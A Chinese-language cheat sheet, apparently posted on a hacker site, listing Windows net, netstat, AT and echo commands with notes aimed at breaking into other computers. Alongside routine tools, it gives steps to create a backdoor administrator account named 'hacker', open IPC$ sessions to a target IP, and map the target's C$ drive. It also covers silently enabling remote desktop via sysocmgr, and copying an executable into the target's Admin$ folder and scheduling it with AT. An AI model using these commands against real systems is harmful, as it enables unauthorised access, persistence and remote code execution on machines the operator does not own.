来自：www.cnbacker.com           作者：空空

DOS命令，对于任何一个学习计算机的人来说是必须会的东西。这是基础的基础，如果连这个也不会，或不屑会的话。
那可以说你连入门级别都不是，和菜鸟都有一定的差距。整理一下常用的DOS命令及使用格式，有时间的可以记下。

net user 用户名 密码　/add 建立用户   。
比如 net user hacker 123 /add 就是建立一个名字为hacker，密码是123的帐户

net localgroup administrators 用户名 /add 把“用户”添加到管理员
中使其具有管理员权限,比如net localgroup [/font] administrators hacker /add
就是把hacker提升为管理员（以上两个命令通常都是一起使用的）

net user guest /active:yes 激活guest用户 （激活guest用户好处多多，大家自己发掘吧）

net user guest 12345 用guest用户登陆后用将密码改为12345

net user 查看有哪些用户 （也可以检查一下，你建立的帐户成功没有）

net user 帐户名 查看帐户的属性（可以看到，你指定帐户的系统权限）

net use \\ip\ipc$ " " /user:" " 建立IPC空链接 （这个命令包括四个空格，net与use中间有一个空格，use后面一个，密码左右各一个空格。当然对方要开启IPC$才可以）

net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 （非空连接，就是需要帐户和密码）

net use z: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为Z:（这个比较常用）

net use \\ip\ipc$ /del 删除IPC链接

net use h: /del 删除映射对方到本地的为H:的映射

net start 查看开启了哪些服务（知道开启服务了，可以有针对性入侵）

net start 服务名　 开启服务；(如:net start telnet， net start schedule)

net stop 服务名 停止某服务

net time \\目标ip 查看对方时间 （可以和AT命令配合）

net view 查看本地局域网内开启了哪些共享 （注意是局域网）

net logoff 断开连接的共享

net pause 服务名 暂停某服务

net send ip "文本信息" 向对方发信息（娱乐性比较强，）

net share 查看本地开启的共享

net share ipc$ 开启ipc$共享

net share ipc$ /del 删除ipc$共享

net share c$ /del 删除C：共享 （删除admin$。C$。ipc$如果在本机操作，每次重新启动
后会恢复共享）

netstat -a 查看开启了哪些端口,常用netstat -an

netstat -n 查看端口的网络连接情况，常用netstat -an

netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情
况）

nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名。成功几率超级低）-注意：参数-A要大写

tracert -参数 ip(或计算机名) 跟踪路由（数据包），

ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大
小”；“-n发送数据次数”；“-t”指一直ping。 （98时代的死亡之ping。就这个意思）

ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息

tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)

kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)

del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

dir 列出文件目录。。

AT 功能比较强大。（AT IP 时间 XX.exe意思是到某个时间就运行XX.exe程序。其中可
执行程序为.exe和。.bat等）

echo 输入（写入）命令。。开3389
echo [Components] > c:\sql
echo TSEnable = on >> c:\sql
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q

logoff user   踢掉某个正在登陆的帐户

copy XX.exe \\IP\Admin$\system32 即将当前目录下的XX.exe复制到对方Admin$共享的System32目录内。

差不多就这么多了。。有不完整的大家补充

评论